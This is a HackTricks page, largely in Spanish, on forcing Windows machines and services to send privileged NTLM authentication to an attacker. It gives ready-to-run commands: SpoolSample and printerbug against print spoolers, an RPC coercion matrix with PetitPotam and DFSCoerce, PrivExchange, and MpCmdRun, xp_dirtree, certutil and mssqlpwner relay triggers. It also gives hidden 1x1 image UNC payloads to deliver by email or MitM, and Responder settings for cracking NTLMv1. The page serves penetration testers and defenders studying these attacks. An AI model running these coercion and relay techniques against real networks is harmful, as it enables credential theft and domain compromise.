Force NTLM Privileged Authentication

Reading time: 8 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

SharpSystemTriggers

SharpSystemTriggers es una colección de disparadores de autenticación remota escritos en C# usando el compilador MIDL para evitar dependencias de terceros.

Spooler Service Abuse

Si el servicio Print Spooler está habilitado, puedes usar algunas credenciales AD ya conocidas para solicitar al servidor de impresión del Domain Controller una actualización sobre nuevos trabajos de impresión y simplemente indicarle que envíe la notificación a algún sistema.
Nota: cuando una impresora envía la notificación a un sistema arbitrario, necesita autenticarse contra ese sistema. Por lo tanto, un atacante puede hacer que el servicio Print Spooler se autentique contra un sistema arbitrario, y el servicio usará la cuenta del equipo en esa autenticación.

Finding Windows Servers on the domain

Usando PowerShell, obtén una lista de máquinas Windows. Los servidores suelen ser prioritarios, así que centrémonos ahí:

bash
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt

Detectar servicios Spooler que están escuchando

Usando una versión ligeramente modificada de SpoolerScanner de @mysmartlogin (Vincent Le Toux) SpoolerScanner, comprueba si el Spooler Service está escuchando:

bash
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}

También puedes usar rpcdump.py en Linux y buscar el protocolo MS-RPRN.

bash
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN

Pedir al servicio que se autentique contra un host arbitrario

Puedes compilar SpoolSample from here.

bash
SpoolSample.exe <TARGET> <RESPONDERIP>

o usa 3xocyte's dementor.py o printerbug.py si estás en Linux

bash
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>

Combinando con Unconstrained Delegation

Si un atacante ya ha comprometido un equipo con Unconstrained Delegation, el atacante podría hacer que la impresora se autentique contra ese equipo. Debido a la unconstrained delegation, el TGT de la computer account of the printer será guardado en la memoria del equipo con unconstrained delegation. Como el atacante ya ha comprometido este host, podrá recuperar este ticket y abusar de él (Pass the Ticket).

RPC Force authentication

Coercer

RPC UNC-path coercion matrix (interfaces/opnums that trigger outbound auth)

  • MS-RPRN (Print System Remote Protocol)
  • Pipe: \PIPE\spoolss
  • IF UUID: 12345678-1234-abcd-ef00-0123456789ab
  • Opnums: 62 RpcRemoteFindFirstPrinterChangeNotification; 65 RpcRemoteFindFirstPrinterChangeNotificationEx
  • Tools: PrinterBug / PrintNightmare-family
  • MS-PAR (Print System Asynchronous Remote)
  • Pipe: \PIPE\spoolss
  • IF UUID: 76f03f96-cdfd-44fc-a22c-64950a001209
  • Opnum: 0 RpcAsyncOpenPrinter
  • MS-EFSR (Encrypting File System Remote Protocol)
  • Pipes: \PIPE\efsrpc (also via \PIPE\lsarpc, \PIPE\samr, \PIPE\lsass, \PIPE\netlogon)
  • IF UUIDs: c681d488-d850-11d0-8c52-00c04fd90f7e ; df1941c5-fe89-4e79-bf10-463657acf44d
  • Opnums commonly abused: 0, 4, 5, 6, 7, 12, 13, 15, 16
  • Tool: PetitPotam
  • MS-DFSNM (DFS Namespace Management)
  • Pipe: \PIPE\netdfs
  • IF UUID: 4fc742e0-4a10-11cf-8273-00aa004ae673
  • Opnums: 12 NetrDfsAddStdRoot; 13 NetrDfsRemoveStdRoot
  • Tool: DFSCoerce
  • MS-FSRVP (File Server Remote VSS)
  • Pipe: \PIPE\FssagentRpc
  • IF UUID: a8e0653c-2744-4389-a61d-7373df8b2292
  • Opnums: 8 IsPathSupported; 9 IsPathShadowCopied
  • Tool: ShadowCoerce
  • MS-EVEN (EventLog Remoting)
  • Pipe: \PIPE\even
  • IF UUID: 82273fdc-e32a-18c3-3f78-827929dc23ea
  • Opnum: 9 ElfrOpenBELW
  • Tool: CheeseOunce

Nota: Estos métodos aceptan parámetros que pueden contener una ruta UNC (por ejemplo, \\attacker\share). Cuando se procesan, Windows se autenticará (contexto máquina/usuario) hacia esa UNC, permitiendo la captura o el relay de NetNTLM.

MS-EVEN: ElfrOpenBELW (opnum 9) coercion

  • Interface: MS-EVEN over \PIPE\even (IF UUID 82273fdc-e32a-18c3-3f78-827929dc23ea)
  • Call signature: ElfrOpenBELW(UNCServerName, BackupFileName="\\attacker\share\backup.evt", MajorVersion=1, MinorVersion=1, LogHandle)
  • Effect: el objetivo intenta abrir la ruta de backup del log suministrada y se autentica con la UNC controlada por el atacante.
  • Practical use: coerce Tier 0 assets (DC/RODC/Citrix/etc.) to emit NetNTLM, then relay to AD CS endpoints (ESC8/ESC11 scenarios) or other privileged services.

PrivExchange

El ataque PrivExchange es resultado de un fallo encontrado en la Exchange Server PushSubscription feature. Esta característica permite que el servidor Exchange sea forzado por cualquier usuario de dominio con un mailbox a autenticarse contra cualquier host proporcionado por el cliente vía HTTP.

Por defecto, el servicio Exchange se ejecuta como SYSTEM y se le otorgan privilegios excesivos (específicamente, tiene privilegios WriteDacl en el dominio pre-2019 Cumulative Update). Este fallo puede explotarse para permitir el relay de información hacia LDAP y posteriormente extraer la base de datos NTDS del dominio. En casos donde el relaying a LDAP no sea posible, este fallo puede aún utilizarse para relayar y autenticarse contra otros hosts dentro del dominio. La explotación exitosa de este ataque concede acceso inmediato al Domain Admin con cualquier cuenta de usuario de dominio autenticada.

Inside Windows

Si ya estás dentro de la máquina Windows puedes forzar a Windows a conectarse a un servidor utilizando cuentas privilegiadas con:

Defender MpCmdRun

bash
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt

MSSQL

sql
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1

MSSQLPwner

shell
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

O usa esta otra técnica: https://github.com/p0dalirius/MSSQL-Analysis-Coerce

Certutil

Es posible usar certutil.exe lolbin (binario firmado por Microsoft) para forzar la autenticación NTLM:

bash
certutil.exe -syncwithWU  \\127.0.0.1\share

HTML injection

Vía email

Si conoces la email address del usuario que inicia sesión en una máquina que quieres comprometer, podrías simplemente enviarle un email con una 1x1 image como

html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />

y cuando lo abra, intentará autenticarse.

MitM

Si puedes realizar un ataque MitM a un equipo e inyectar HTML en una página que vaya a visualizar, podrías intentar inyectar una imagen como la siguiente en la página:

html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />

Otras formas de forzar y phish la autenticación NTLM

Places to steal NTLM creds

Cracking NTLMv1

Si puedes capturar NTLMv1 challenges read here how to crack them.
Recuerda que, para crackear NTLMv1, necesitas configurar el Responder challenge a "1122334455667788"

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks